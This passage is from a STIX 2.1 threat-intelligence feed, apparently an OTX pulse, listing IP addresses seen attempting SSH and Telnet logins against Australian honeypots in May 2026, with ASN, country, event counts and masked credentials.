      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.191.210.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T03:15:11.000Z",
      "valid_until": "2026-06-13T03:15:08.000Z"
    },
    {
      "created": "2026-05-12T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): G************1, U******************************************************************************************0. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--06146911-f05a-4a6e-99c3-f1dd98759d0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T03:15:11.000Z",
      "valid_until": "2026-06-13T03:15:08.000Z"
    },
    {
      "created": "2026-05-12T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AZ. ASN(s): 39232. Organisation(s): Uninet LLC.",
      "id": "indicator--38dad8d5-b517-483c-97f5-671d5c1ebc39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.109.52.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T03:15:11.000Z",
      "valid_until": "2026-06-13T03:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 146943. Organisation(s): Tier 4 Cloud Services.",
      "id": "indicator--9bcd8251-6620-4894-a18a-d034adf30239",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.193.75.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131414. Organisation(s): Long Van Soft Solution JSC. Usernames observed (masked): u***2. Passwords observed (masked): w*****e.",
      "id": "indicator--2f2ec2e0-3eab-4076-9b71-5bc0096cf8c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.97.135.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): u****u, a***n, e****r, t***s. Passwords observed (masked): 1**4, 4******4, Q*******@, **.",
      "id": "indicator--78106a05-82ee-4ad4-8223-2369f1c48da1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.13.14.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--3f9367cb-7559-48f6-889c-e5dc8b8ef782",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.162.245.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): s*****r. Passwords observed (masked): q****y.",
      "id": "indicator--9fd3beb1-d62e-4653-9f1c-c69043079d1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.114.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--b40a9109-cd0d-4565-a1db-393e431ba4cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.56.6.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 150750. Organisation(s): IN CABLE INTERNET PRIVATE LIMITED.",
      "id": "indicator--22cf9dd4-a26a-4616-b08e-2b4236e7eabe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.208.45.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): u****u, r**t, f*****r, t**t, h****p. Passwords observed (masked): P******d, a***n, 0****0, 1****0, 1****3.",
      "id": "indicator--569edfdc-7a52-487b-89dd-44134c1fdcd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.221.23.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BO. ASN(s): 27882. Organisation(s): Telefonica Celular de Bolivia S.A..",
      "id": "indicator--913dfc64-2d9e-4864-968a-a66daf9ec810",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.222.113.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--c9a1f97f-f410-4f04-948f-3fedb2558940",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.244.75.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): r**t. Passwords observed (masked): a*****0.",
      "id": "indicator--a9142bd0-1ef2-477c-9fa0-c22d8b288d00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.118.142.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--21cbec96-57ad-460a-8cd7-cc1597b9967c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.240.57.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 11556. Organisation(s): Cable & Wireless Panama.",
      "id": "indicator--f36e7946-5751-44a0-b306-b9142ac3a879",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.33.46.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 264778. Organisation(s): TotalCom Venezuela C.A..",
      "id": "indicator--0ce3d0a5-c6d3-4d84-b45a-c5fd9bdbf7d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.59.190.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 49800. Organisation(s): GNC-Alfa CJSC.",
      "id": "indicator--99141931-3ff9-45d9-be13-be9542130218",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.186.116.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--1a8312a6-cb9c-42d3-9481-1480dd13a97f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.223.25.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--56ee6284-77dc-4d35-8238-08492da9d86d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '52.249.221.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--cdc2b746-51e3-4453-bbe6-9f667db7c070",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--0ee84e85-65cc-42c0-9dd7-5865a2a49755",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.19.216.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:15:11.000Z",
      "valid_until": "2026-06-13T04:15:08.000Z"
    },
    {
      "created": "2026-05-12T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--4a5d3e48-2736-4d19-8369-2d66e2540589",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.99.216.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T05:15:10.000Z",
      "valid_until": "2026-06-13T05:15:08.000Z"
    },
    {
      "created": "2026-05-12T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d, r**t.",
      "id": "indicator--0cae3581-df8f-44ec-b871-a941434f993d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.224.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T05:15:10.000Z",
      "valid_until": "2026-06-13T05:15:08.000Z"
    },
    {
      "created": "2026-05-12T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 27696. Organisation(s): LIBERTY NETWORKS HONDURAS, SOCIEDAD DE RESPONSABILIDAD LIMITADA.",
      "id": "indicator--8d0f6615-f6e5-4443-8ff7-7c5c391affa1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.60.185.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T05:15:10.000Z",
      "valid_until": "2026-06-13T05:15:08.000Z"
    },
    {
      "created": "2026-05-12T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 23140. Organisation(s): Universidad de Chile. Usernames observed (masked): r**t. Passwords observed (masked): !****^, !**********c.",
      "id": "indicator--349fbc80-7176-4a4d-92ad-d77dbaec48c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.89.69.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T05:15:10.000Z",
      "valid_until": "2026-06-13T05:15:08.000Z"
    },
    {
      "created": "2026-05-12T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16904. Organisation(s): Arvig Enterprises Inc..",
      "id": "indicator--981fb70e-1803-4039-8666-95457865395e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '70.40.61.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T05:15:10.000Z",
      "valid_until": "2026-06-13T05:15:08.000Z"
    },
    {
      "created": "2026-05-12T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--413cae29-99ae-4037-ba40-01837f453c39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.103.195.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T05:15:10.000Z",
      "valid_until": "2026-06-13T05:15:08.000Z"
    },
    {
      "created": "2026-05-12T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 57378. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--f4f1bb97-03f7-4ae8-a6ba-b8170b0b20a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.136.185.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T05:15:10.000Z",
      "valid_until": "2026-06-13T05:15:08.000Z"
    },
    {
      "created": "2026-05-12T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--55328993-bf8e-407f-a561-f927d69b0cc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.208.184.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T05:15:10.000Z",
      "valid_until": "2026-06-13T05:15:08.000Z"
    },
    {
      "created": "2026-05-12T06:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 134785. Organisation(s): Smart Digital.",
      "id": "indicator--994086ee-36c4-4f44-bd43-1cae1a1f32a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.93.33.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T06:15:12.000Z",
      "valid_until": "2026-06-13T06:15:08.000Z"
    },
    {
      "created": "2026-05-12T06:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--4bf62f2e-d14a-49cf-940d-1ba3eb243e10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.182.230.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T06:15:12.000Z",
      "valid_until": "2026-06-13T06:15:08.000Z"
    },
    {
      "created": "2026-05-12T06:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 9129. Organisation(s): KE-NET2000.",
      "id": "indicator--14663c23-7fe0-4e38-a717-f44520b43406",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.199.144.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T06:15:12.000Z",
      "valid_until": "2026-06-13T06:15:08.000Z"
    },
    {
      "created": "2026-05-12T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--53889c28-2853-41e5-8b5e-7604ab9d7f71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.79.227.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T06:15:12.000Z",
      "valid_until": "2026-06-13T06:15:08.000Z"
    },
    {
      "created": "2026-05-12T06:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 131269. Organisation(s): Atria Convergence Technologies Ltd..",
      "id": "indicator--2c9f75cb-2483-4194-9a3a-c2973101e040",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.205.165.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T06:15:12.000Z",
      "valid_until": "2026-06-13T06:15:08.000Z"
    },
    {
      "created": "2026-05-12T07:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f7ae8a21-219e-4d04-95ee-9b9157156237",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.246.155.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T07:15:12.000Z",
      "valid_until": "2026-06-13T07:15:08.000Z"
    },
    {
      "created": "2026-05-12T07:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ad608ccd-54bc-4e5e-87f5-26745e38b47b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T07:15:12.000Z",
